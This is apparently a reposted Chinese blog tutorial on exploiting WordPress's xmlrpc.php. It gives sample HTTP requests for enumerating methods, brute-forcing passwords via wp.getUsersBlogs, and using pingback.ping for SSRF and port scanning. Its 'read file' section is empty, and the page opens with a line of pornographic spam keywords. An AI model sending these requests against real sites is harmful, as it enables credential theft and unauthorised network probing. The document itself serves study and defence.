日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程语言 > php >内容正文

php

xmlrpc.php 漏洞利用

發布時間:2025/3/15 php 39 豆豆
生活随笔 收集整理的這篇文章主要介紹了 xmlrpc.php 漏洞利用 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

WordPress采用了XML-RPC接口.并且通過內置函數WordPress API實現了該接口內容。 所以,你可要通過客戶端來管理Wordpress。 通過使用WordPress XML-RPC, 你可以使用業界流行博客客戶端Weblog Clients來發布你的WordPress日志和頁面。同時,XML-RPC 也可使用extended by WordPress Plugins插件來自定義你的規則。

0X01 激活XML-RPC

從3.5版本開始,XML-RPC功能默認開啟。 早些版本,可通過如下方法激活:Settings > Writing > Remote Publishing and check the checkbox.

路徑:http://example.com/wordpress/xmlrpc.php

0x02 查看系統允許的方法

POST /wordpress/xmlrpc.php HTTP/1.1 Host: www.example.com Content-Length: 99<methodCall> <methodName>system.listMethods</methodName> <params></params> </methodCall>

0x03 賬號爆破

一般情況下,wordpress的管理后臺都會設置賬號登錄失敗次數限制,因此,可以通過xmlprc.php接口來進行爆破。通常會使用wp.getUserBlogs、wp.getCategories和metaWeblog.getUsersBlogs這個方法來進行爆破,也可以使用其他的方法。
構造請求包:

POST /wordpress/xmlrpc.php HTTP/1.1 Host: www.example.com Content-Length: 99<methodCall> <methodName>wp.getUsersBlogs</methodName> <params> <param><value>admin</value></param> <param><value>password</value></param> </params> </methodCall>

爆破成功會返回博客的內容:

0x03 SSRF

WordPress 版本< 3.5.1
通過Pingback可以實現的服務器端請求偽造 (Server-side request forgery,SSRF)和遠程端口掃描。
構造請求包:

POST /wordpress/xmlrpc.php HTTP/1.1 Host: www.example.com Content-Length: 99<methodCall> <methodName>pingback.ping</methodName> <params><param> <value><string>要探測的ip和端口:http://127.0.0.1:80</string></value> </param><param><value><string>網站上一篇博客的URL:http://localhost/wordpress/?p=1)<SOME VALID BLOG FROM THE SITE ></string> </value></param></params> </methodCall>

IP和端口存在,返回包中的<value><int>中的值大于0:

利用腳本:
https://github.com/FireFart/WordpressPingbackPortScanner

0x04 讀取文件:

0x99 參考:

https://codex.wordpress.org/zh-cn:XML-RPC_Support
http://xmlrpc.com/
https://medium.com/@the.bilal.rizwan/wordpress-xmlrpc-php-common-vulnerabilites-how-to-exploit-them-d8d3c8600b32
https://www.acunetix.com/blog/web-security-zone/wordpress-pingback-vulnerability/
http://lab.onsec.ru/2013/01/wordpress-xmlrpc-pingback-additional.html

總結

以上是生活随笔為你收集整理的xmlrpc.php 漏洞利用的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。